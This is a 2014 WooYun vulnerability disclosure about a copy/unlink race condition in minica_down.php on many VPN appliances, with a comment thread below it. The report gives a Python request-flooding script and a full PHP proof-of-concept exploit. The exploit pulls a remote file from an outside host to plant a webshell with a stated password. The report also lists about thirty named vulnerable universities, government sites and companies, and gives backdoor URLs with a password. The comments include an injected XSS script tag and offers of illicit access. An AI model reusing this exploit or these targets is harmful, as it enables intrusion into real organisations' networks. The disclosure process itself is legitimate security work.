当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-048202

漏洞标题:国内外多家vpn设备厂商批量漏洞(续集一)

相关厂商:众多vpn厂商

漏洞作者: felixk3y

提交时间:2014-01-07 18:27

修复时间:2014-04-07 18:28

公开时间:2014-04-07 18:28

漏洞类型:设计不当

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-07: 细节已通知厂商并且等待厂商处理中
2014-01-12: 厂商已经确认,细节仅向厂商公开
2014-01-15: 细节向第三方安全合作伙伴开放
2014-03-08: 细节向核心白帽子及相关领域专家公开
2014-03-18: 细节向普通白帽子公开
2014-03-28: 细节向实习白帽子公开
2014-04-07: 细节向公众公开

简要描述:

利用此漏洞可导致任意文件写入,任意代码/命令执行,大量内网可免门票任意漫游 漫游...
同时该漏洞涉及到包括网御神州、天融信、西安网赢、卫士通、吉大正元、美国凹凸、德国 ANIX等多家VPN厂商设备在政务、地产、运营商、政府部门、高校、企业、公安、司法、银行等行业存在的任意文件下载、远程命令执行、维护后门、三方平台帐号泄漏、恶意客户端下发等高位漏洞。

详细说明:

#1 首先请看:

 WooYun: [浅谈内网安全]--国内外多家vpn设备厂商批量漏洞 


漏洞修复中,@紫梦芊 提到修复方法,详见如下:

exec("cp ".$_POST['realfile']." ".$_POST['path']."");改为
copy($_POST['realfile'],$_POST['path'])
exec("rm ".$_POST["path"]."");改为
unlink($_POST['path'])


嘿,没想到这些厂商还真是这样修复的...
咦? 这样修复没有问题啊,但真的是没问题吗?要是真的没问题,就不会有下文了,哈哈...
各位看官,且听我细细道来...
#2 我们打开根目录下的minica_down.php文件,代码贴出来

<?
if($_POST['realfile'])
copy($_POST['realfile'],$_POST['path']);
//$_POST[path] = mb_convert_encoding($_POST[path],"GBK","UTF-8");
$file = mb_convert_encoding($_POST[file],"GBK","UTF-8");
header("Pragma:");
header("Cache-Control:");
header("Content-type:application/octet-stream");
header("Content-Length:".filesize($_POST[path]));
header("Content-Disposition:attachment;filename=\"$file\"");
readfile($_POST[path]);
if($_POST['realfile'])
unlink($_POST["path"]);
?>


第二行代码:

copy($_POST['realfile'],$_POST['path']);


从POST提交的realfile,复制到POST提交的path参数
倒数三行代码:

if($_POST['realfile'])
unlink($_POST["path"]);
?>


如果提交了realfile参数,则删除path参数所提交的文件,即
假如我们post提交,realfile=/ssl/www/test.jpg & path=/ssl/www/admin/shell.php
很容易的得到我们想要的shell,但在代码的最后三行,最终删除了path即 删除了我们想要的shell:/ssl/www/admin/shell.php
这段代码的逻辑看起来没什么问题,但是呢 我们人是最善于思考的动物,SO...
#3 思考中... ...
#4 思考后的结果
程序的执行需要一个过程,哪怕这个过程很短很短,鉴于此,我们有了如下的结果...
(要是我们能在程序删除我们想要的那个shell前,通过一定的方法抢在其前面访问那个shell,这个shell帮我们生成另一个shell,那么这个新生成的shell总不会被删除吧...)
这里简单小结一下
正常情况:
copy成shell1--->删除shell1;
被攻击时的情况:
copy成shell1--->访问shell1-->shell1生成shell2-->删除shell1 明白了吧?
有了想法,那就开始行动吧...
方法一:
我们可以用py写一个多线程的代码,唯一功能是:不停的访问copy成的shell1

#coding=utf-8
import os
import urllib2
import urllib
import threading
class Query(threading.Thread):
def __init__(self,url):
threading.Thread.__init__(self)
self.url = url
def run(self):
while True:
print 'Testing...'
try:
rep = urllib2.urlopen(self.url,timeout=2)
except :
pass
def main():
threads = []
url = "http://www.vulns.org/shell1.php"
for i in range(20):
t = Query(url)
t.start()
threads.append(t)
for t in threads:
t.join()
if __name__=="__main__":
main()


方法二:
将post提交和访问shell让程序同时进行...
经过一系列的测试:方法一成功的几率很小,这里 我们选择方法二

漏洞证明:

#5 漏洞最终利用
这里 我们用php写漏洞利用的POC:

<?php
set_time_limit(0);
error_reporting(0);
function get($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);//https请求,不验证证书和hosts
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_HEADER,0);
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
function post($url,$params){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
$i=0;
$url = "https://vpn.com.cn/minica_down.php";
$geturl1 = "https://vpn.com.cn/sub_ca_reglog.php";
$postdata = "realfile=http://www.xxx.com/exp.txt&path=sub_ca_reglog.php";
while(++$i<5) {
echo "\nTesting[$i]....\n";
post($url,$postdata);
get($geturl1);
}
$vali_url = "https://vpn.com.cn/shell.php";
$resp = get($vali_url);
echo $resp;
if(preg_match('/200 OK/',$resp)){
echo "Success! shell is : $vali_url, Pass is [1@3]";
}else{
echo "------->Fail!\n\n";
}
?>


POC说明:
POST提交参数:

realfile=http://www.com.cn/2.txt&path=sub_ca_reglog1.php


realfile参数是远程的一个文件,目的是生成最终的shell 大小最好几十KB,为我们访问中间的shell1争取时间 增加成功的概率嘛,内容如下:

2.jpg


path是我们想要生成的文件,这里是:sub_ca_reglog1.php
Tips:由于这里只是POC,所以在运行的时候 最好多试几次,要是试了几次任然没生成shell,此时可手动访问:http://www.com.cn/sub_ca_reglog1.php 说不定会有意想不到的效果哦.
#6 shell
https://svpn.mbatec.com.tw
https://vpn.mcut.edu.tw 这两个url,对不起了啊,毕竟为了测试嘛

3.jpg


4.jpg


同时我发现,有很多网站被人留了后门,清理一下吧
https://xxxxxxx/admin/free.php 密码cmd
https://svpn.mbatec.com.tw/welcome_time1.php
https://svpn.mbatec.com.tw/sub_ca_reglog1.php
https://svpn.mbatec.com.tw/sub_ca_reglog2.php
https://svpn.mbatec.com.tw/sub_ca_reglog3.php
#7 漏洞站点(摘自@紫梦芊)
至少有如下的站点,未列完.....

https://vpn.bit.edu.cn/ 北京理工
https://sslvpn.bjtu.edu.cn/ 北交大
https://125.46.88.100/ 郑州大学
https://219.80.0.19/p 国泰地产集团
https://info.nai.edu.cn/ 北京国家会计学院
https://124.205.79.78/ 北大计算中心
https://210.82.53.201/ 北京联合大学
https://vpn.cnu.edu.cn/ 首都师大
https://vpn.mcut.edu.tw/ 台湾明志科技大学
https://ac.whlib.gov.cn 武汉图书馆
https://sslvpn.nhcue.edu.tw 新竹教育大学
https://isms.ydu.edu.tw/ 育達商業科技大學
https://sslvpn.ydu.edu.tw/ 育達商業科技大學
https://vpn.cute.edu.tw 中国(台湾)科技大学
https://sslvpn.ntue.edu.tw 国立台北教育大学
https://vpn.psi.com.tw 升阳国际
https://maltimur.jksm.gov.my/ 马来西亚某政府网站
https://vpn.ccom.edu.cn 中央音乐学院
https://vpn.dlmu.edu.cn 大连海事大学
https://vpn.wanfang.edu.cn 河南理工
https://vpn.genius.com.cn 深圳巨灵
https://sslvpn.changhongit.com 长虹佳华
https://vpn.jnrd.com.cn 北京京能热电
https://sslvpn.kworld.com.tw 廣寰台北辦公室
https://www.oo586.com/ 易宝支付
https://svpn.mbatec.com.tw 新碩資訊
https://sslvpn.szs.com.tw 新日兴
https://sslvpn.gzcatv.net 广数传媒
https://e.nais.net.cn 农业部农E通
https://vpn.thcic.cn 清华

修复方案:

神马意思,你们懂,要是不懂 再问我,OK...

版权声明:转载请注明来源 felixk3y@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-01-12 11:36

厂商回复:

CNVD确认并复现所述况,并根据利用原理对EXP进行了改写,提高了测试成功率。在9日上午已经复现多个实例,不过在9日下午之后测试结果出现新的变化。需要汇总进一步的结果才进行处置。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-01-07 18:28 | cncert国家互联网应急中心(乌云厂商)

    mark,晚上研究。

  2. 2014-01-07 18:44 | HoerWing ( 路人 | Rank:24 漏洞数:4 | "People should not be afraid of their go...)

    卧槽,这么屌,一定要火,二楼留名

  3. 2014-01-07 18:50 | momo ( 实习白帽子 | Rank:91 漏洞数:24 | ★精华漏洞数:24 | WooYun认证√)

    这么奇葩?只能等20天再看了。哎。

  4. 2014-01-07 18:57 | 天朝城管 ( 普通白帽子 | Rank:116 漏洞数:35 | 不要等到命玩你的时候才开始玩命)

    雷劈了..

  5. 2014-01-07 19:49 | JJFly ( 路人 | Rank:2 漏洞数:1 | <a href="www.yidianjiujijifly.com">www.y...)

    jjbomb!!!!坐等开放

  6. 2014-01-07 19:53 | hacker@sina.cn ( 普通白帽子 | Rank:288 漏洞数:27 | ANONYMOUS)

    说得这么屌,不mark一下也说不过去了。

  7. 2014-01-07 19:53 | Mujj ( 实习白帽子 | Rank:58 漏洞数:4 | IDC商)

    拍照

  8. 2014-01-07 20:01 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

    咔嚓!

  9. 2014-01-07 20:05 | 小威 ( 普通白帽子 | Rank:492 漏洞数:76 | 活到老,学到老!)

    劈的一手好雷!

  10. 2014-01-07 20:13 | 未来还没来 ( 路人 | Rank:16 漏洞数:5 | 每个人都期望成为主角,却不知道世界上从来...)

    必须要看。要顶啊、、、、顺带楼下没JJ

  11. 2014-01-07 23:46 | 洗剪吹 ( 路人 | Rank:1 漏洞数:1 | 出门在外,安全第一!)

    碉堡了

  12. 2014-01-07 23:52 | xxw ( 路人 | Rank:29 漏洞数:18 | 中国梦)

    求10连载

  13. 2014-01-08 00:19 | whitemonty ( 路人 | Rank:7 漏洞数:4 | Secur1ty just lik3 a girl. B0th of th3m ...)

    默默留名

  14. 2014-01-08 00:55 | AC_TEAM ( 路人 | Rank:25 漏洞数:2 | 专注社工三十年)

    呐么屌。 出售美国、伊朗、苏联、印度、日本、俄罗斯、法国等国家卫星。。。

  15. 2014-01-08 00:58 | AC_TEAM ( 路人 | Rank:25 漏洞数:2 | 专注社工三十年)

    出售国防专用VPN、军用专线网络、无限畅游美国印度伊拉克军方机密资料。

  16. 2014-01-08 07:17 | niliu 认证白帽子 ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)

    关注

  17. 2014-01-08 09:23 | jk_影 ( 实习白帽子 | Rank:59 漏洞数:9 | 专注google三十年)

    叼炸天的节奏

  18. 2014-01-08 09:40 | 白加黑 ( 路人 | Rank:20 漏洞数:8 )

    期待续集二

  19. 2014-01-08 09:44 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    关注连续剧

  20. 2014-01-08 10:01 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    @cncert国家互联网应急中心 不要卖萌好吗,哈哈哈

  21. 2014-01-08 10:09 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    RANK 1 ?

  22. 2014-01-08 10:10 | 笨小猪 ( 路人 | Rank:16 漏洞数:2 | 杯壁下流)

    这么吊,必须mark一下了

  23. 2014-01-08 11:50 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    mark

  24. 2014-01-08 12:04 | onlycjeg ( 实习白帽子 | Rank:38 漏洞数:5 | 我就看看,我不说话.)

    mark

  25. 2014-01-08 12:33 | 紫梦芊 ( 普通白帽子 | Rank:138 漏洞数:9 | 踏踏实实做测试)

    是老漏洞未修复? 还是发现新漏洞 关注~

  26. 2014-01-08 13:22 | felixk3y ( 普通白帽子 | Rank:523 漏洞数:41 | php python jsp)

    @紫梦芊 话说Wooyun唯一女白帽子 紫紫,对felixk3y这个ID有印象吗?:-)

  27. 2014-01-08 14:02 | Jesus ( 实习白帽子 | Rank:60 漏洞数:18 | 天地不仁,以万物为刍狗!)

    关注。

  28. 2014-01-08 16:38 | 摸了你 ( 实习白帽子 | Rank:71 漏洞数:17 | 1shitMVqBjCKrnRvSoixMx6RKpG9J8pBM)

    @felixk3y 你让肉肉情何以堪...

  29. 2014-01-08 17:09 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @摸了你 @felixk3y 肉肉跟紫梦芊不一样,肉肉是个胖子。。胖……白帽子。

  30. 2014-01-08 17:50 | hackesc ( 路人 | Rank:11 漏洞数:3 | 求各种基友)

    楼上必火

  31. 2014-01-08 23:34 | Blackeagle ( 实习白帽子 | Rank:62 漏洞数:10 | 向WooYun致敬)

    @cncert国家互联网应急中心 小哥你是上错号的节奏吗

  32. 2014-01-09 11:30 | jeary ( 普通白帽子 | Rank:296 漏洞数:106 | (:‮.kcaH eb nac gnihtynA))

    这个一定会被转载的!<script src=//xss.tw/5306></script>

  33. 2014-01-09 14:28 | HoerWing ( 路人 | Rank:24 漏洞数:4 | "People should not be afraid of their go...)

    @jeary 哥们你好逗

  34. 2014-01-09 16:52 | 花生^_^ ( 路人 | Rank:0 漏洞数:1 | 加强学习~~)

    mark

  35. 2014-01-10 08:41 | cncert国家互联网应急中心(乌云厂商)

    根据9日测试结果,上午和下午出现较大差异。上午测试还可以复现一些情况,但下午测试就有很多VPN设备已经删除漏洞页面。@felixk3y

  36. 2014-01-10 09:10 | felixk3y ( 普通白帽子 | Rank:523 漏洞数:41 | php python jsp)

    @cncert国家互联网应急中心 后来我继续测试了其他一些url,发现只要远程用到的那个文件在100KB以上,基本就可以完全复现...

  37. 2014-01-12 09:32 | 紫梦芊 ( 普通白帽子 | Rank:138 漏洞数:9 | 踏踏实实做测试)

    @felixk3y 没留意到过..

  38. 2014-02-01 13:49 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)
  39. 2014-02-01 23:24 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    思路贊

  40. 2014-02-17 17:40 | 紫梦芊 ( 普通白帽子 | Rank:138 漏洞数:9 | 踏踏实实做测试)

    @felixk3y 你是YwiSax ? 我忘记了allow_url_fopen默认时On的 呵呵

  41. 2014-02-17 17:55 | felixk3y ( 普通白帽子 | Rank:523 漏洞数:41 | php python jsp)

    @紫梦芊 不是,QQ上联系过你的 id也是这个

  42. 2014-02-17 18:11 | 紫梦芊 ( 普通白帽子 | Rank:138 漏洞数:9 | 踏踏实实做测试)

    @felixk3y 向来不加不认识的人

  43. 2014-02-17 18:23 | 0x334 ( 普通白帽子 | Rank:171 漏洞数:35 | 漏洞无影响,已忽略~~~~~~~)

    妹子,你好屌啊。

  44. 2014-02-17 19:51 | Master ( 路人 | Rank:29 漏洞数:10 )

    Mark

  45. 2014-02-21 13:59 | 肉肉 认证白帽子 ( 普通白帽子 | Rank:112 漏洞数:10 | 肉肉在长亭科技,肉肉在长亭科技,肉肉在长...)

    思路很赞啊

  46. 2014-02-24 23:54 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    哇 我就知道我们早晚会上榜 还好上榜设备不在机房

  47. 2014-03-12 22:30 | Master ( 路人 | Rank:29 漏洞数:10 )

    niu b

  48. 2014-03-16 13:14 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    设备在办公桌上了 周一玩玩去

  49. 2014-04-08 03:35 | 风之子 ( 路人 | Rank:0 漏洞数:1 | 好好学习...囧)

    mark,厉害

  50. 2014-04-08 14:14 | e_ifox ( 路人 | Rank:10 漏洞数:1 | 我也是有rank的人了)

    这,,,,自从来到乌云,各种开眼界啊

  51. 2014-04-08 16:21 | 基佬库克 ( 实习白帽子 | Rank:75 漏洞数:15 | 简介什么的是直接爆菊吧..)

    思路很不错,允许远程文件下载,加上利用命令执行时间差